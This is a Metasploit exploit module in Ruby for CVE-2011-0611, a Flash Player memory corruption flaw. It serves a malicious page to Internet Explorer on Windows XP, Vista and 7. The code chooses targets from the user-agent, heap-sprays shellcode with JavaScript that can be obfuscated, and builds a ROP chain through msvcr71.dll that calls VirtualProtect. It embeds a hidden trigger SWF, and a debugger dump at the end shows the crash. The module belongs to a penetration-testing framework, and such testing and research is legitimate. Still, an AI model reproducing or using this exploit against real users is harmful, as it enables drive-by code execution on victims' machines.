##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability in Adobe Flash Player that was discovered,
				and has been exploited actively in the wild.  By embedding a specially crafted .swf
				file, Adobe Flash crashes due to an invalid use of an object type, which allows
				attackers to overwrite a pointer in memory, and results arbitrary code execution.
				Please note for IE 8 targets, Java Runtime Environment must be available on the
				victim machine in order to work properly.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision$",
			'Author'         =>
				[
					'sinn3r',
				],
			'References'     =>
				[
					[ 'CVE', '2011-0611' ],
					[ 'OSVDB', '71686' ],
					[ 'BID', '47314' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
					[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
					[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
					[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
					[ 'URL', 'http://secunia.com/blog/210' ],
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
				},
			'DefaultOptions' =>
				{
					'ExitFunction'         => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'Rop'     => false,
							'Pivot'   => nil,         #No ROP no pivot
							'Offset1' => '0x01',      #For aligning the payload
							'Offset2' => '0x02',      #For aligning the CALL
							'Max1'    => '0x150',     #First spray
							'Max2'    => '0x200'      #Second spray
						}
					],
					[
						'IE 7 on Windows XP SP3',
						{
							'Rop'     => false,
							'Pivot'   => nil,         #No ROP no pivot
							'Offset1' => '0x01',      #For aligning the payload
							'Offset2' => '0x02',      #For aligning the CALL
							'Max1'    => '0x150',     #First spray
							'Max2'    => '0x200'      #Second spray
						}
					],
					[
						'IE 8 on Windows XP SP3',
						{
							'Rop'     => true,
							'Pivot'   => 0x7c348b05,  #XCHG EAX,ESP; RETN (MSVCR71.dll)
							'Offset1' => '0x5E2',     #Offset for rop+payload
							'Offset2' => '0x02',      #Offset to 0x11111110
							'Max1'    => '0x250',     #First spray
							'Max2'    => '0x200'      #Second spray
						}
					],
					[
						'IE 7 on Windows Vista',
						{
							'Rop'     => false,
							'Pivot'   => nil,         #No ROP no pivot
							'Offset1' => '0x01',      #For aligning the payload
							'Offset2' => '0x02',      #For aligning the CALL
							'Max1'    => '0x150',     #First spray
							'Max2'    => '0x200'      #Second spray
						}
					],
					[
						'IE 8 on Windows 7',
						{
							'Rop'     => true,
							'Pivot'   => 0x7c348b05,  #XCHG EAX,ESP; RETN (MSVCR71.dll)
							'Offset1' => '0x5F4',     #Offset for rop+payload
							'Offset2' => '0x02',      #Offset to 0x11111110
							'Max1'    => '0x101',     #First spray
							'Max2'    => '0x300'      #Second spray
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 11 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
			], self.class
		)

	end

	def exploit
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
		f = File.open(path, "rb")
		@trigger = f.read(f.stat.size)
		f.close
		super
	end

	def get_target(request)
		agent = request.headers['User-Agent']

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
			#Windows XP SP3 + IE 6.0
			return targets[1]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
			#Windows XP SP3 + IE 7.0
			return targets[2]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
			#Windows XP SP3 + IE 8.0 + JRE6
			return targets[3]
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
			#Windows Vista + IE 7
			return targets[4]
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
			#Windows 7 + IE 8 + JRE6
			return targets[5]
		else
			return nil
		end
	end

	def on_request_uri(cli, request)
		#Set default target
		my_target = target

		#If user chooses automatic target, we choose one based on user agent
		if my_target.name =~ /Automatic/
			my_target = get_target(request)
			if my_target.nil?
				send_not_found(cli)
				print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
				return
			end
			vprint_status("Target selected: #{my_target.name}")
		end

		vprint_status("URL: #{request.uri}")

		if request.uri =~ /\.swf$/
			#Browser requests our trigger file, why not
			print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
			return
		end

		#Targets that don't need ROP
		rop    = ''
		pivot  = "\xb8\x0c\x0c\x0c\x0c"  #MOV EAX,0x0c0c0c0c
		pivot << "\xff\xe0"              #JMP EAX
		pivot << "\x41"                  #Pad

		#Targets that need ROP
		if my_target['Rop']
			#Target Addr=0x0c0c0c0c
			rop = 
			[
				0x7c376402,  # POP EBP # RETN [msvcr71.dll]
				0x7c376402,  # skip 4 bytes [msvcr71.dll]
				0x7c347f97,  # POP EAX # RETN [msvcr71.dll]
				0xfffff800,  # Value to negate, will become 0x00000201 (dwSize)
				0x7c351e05,  # NEG EAX # RETN [msvcr71.dll]
				0x7c354901,  # POP EBX # RETN [msvcr71.dll]
				0xffffffff,
				0x7c345255,  # INC EBX # FPATAN # RETN [msvcr71.dll]
				0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
				0x7c344f87,  # POP EDX # RETN [msvcr71.dll]
				0xffffffc0,  # Value to negate, will become 0x00000040
				0x7c351eb1,  # NEG EDX # RETN [msvcr71.dll]
				0x7c34d201,  # POP ECX # RETN [msvcr71.dll]
				0x7c38b001,  # &Writable location [msvcr71.dll]
				0x7c34b8d7,  # POP EDI # RETN [msvcr71.dll]
				0x7c347f98,  # RETN (ROP NOP) [msvcr71.dll]
				0x7c364802,  # POP ESI # RETN [msvcr71.dll]
				0x7c3415a2,  # JMP [EAX] [msvcr71.dll]
				0x7c347f97,  # POP EAX # RETN [msvcr71.dll]
				0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
				0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
				0x7c345c30,  # ptr to 'push esp #  ret ' [msvcr71.dll]
			].pack("V*")

			#Target Addr=0x11111110
			pivot =
			[
				0x0c0c0c0c,          # Padding. Value for ESP after the XCHG pivot
				my_target['Pivot'],  # ROP Pivot
				0x7c346b52,          # EAX (POP ESP; RETN)
			].pack('V*')
		end

		arch = Rex::Arch.endian(my_target.arch)

		p = rop + payload.encoded
		shellcode = Rex::Text.to_unescape(p, arch)
		pivot = Rex::Text.to_unescape(pivot, arch)

		#Extract string based on target
		if my_target.name == 'IE 8 on Windows 7'
			js_extract_str = "var block = shellcode.substring(0, (0x7ff00-6)/2);"
		elsif my_target.name == 'IE 8 on Windows XP SP3'
			js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
		else
			js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
		end

		js = <<-JS
		function heap_spray(heaplib, nops, code, offset, max) {
			while (nops.length < 0x2000) nops += nops;
			var offset = nops.substring(0, offset);
			var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length);
			while (shellcode.length < 0x40000) shellcode += shellcode;
			#{js_extract_str}
			heaplib.gc();
			for (var i=1; i<max; i++) {
				heaplib.alloc(block);
			}
		}

		var heap_obj = new heapLib.ie(0x20000);
		var nops = unescape("%u0c0c%u0c0c");
		var code = unescape("#{shellcode}");
		heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
		var fake_pointers = unescape("#{pivot}");
		heap_spray(heap_obj, fake_pointers, fake_pointers, #{my_target['Offset2']}, #{my_target['Max2']});
		JS

		js = heaplib(js, {:noobfu => true} )

		#Javascript obfuscation is optional
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"

		html = <<-EOS
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
		<param name="movie" value="#{trigger_file_name}" />
		<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
		pluginspage="http://www.macromedia.com/go/getflashplayer">
		</embed>
		</body>
		</html>
		EOS

		html = html.gsub(/^\t\t/, "")

		print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, html, {'Content-Type' => "text/html"} )
	end
end


=begin
0:000> r
eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0
eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash10o+0xd01f6:
100d01f6 ff5008          call    dword ptr [eax+8]    ds:0023:11111118=????????
0:000> dd ecx
01d650b0  11111110 00000000 00000000 00000000
01d650c0  00000000 00000000 00000000 00000000
01d650d0  00000000 00000000 00000000 00000000
01d650e0  00000000 00000000 00000000 00000000
01d650f0  00000000 00000000 00000000 00000000
01d65100  00000000 00000000 00000000 00000000
01d65110  00000000 00000000 00000000 00000000
01d65120  00000000 00000000 00000000 00000000

=end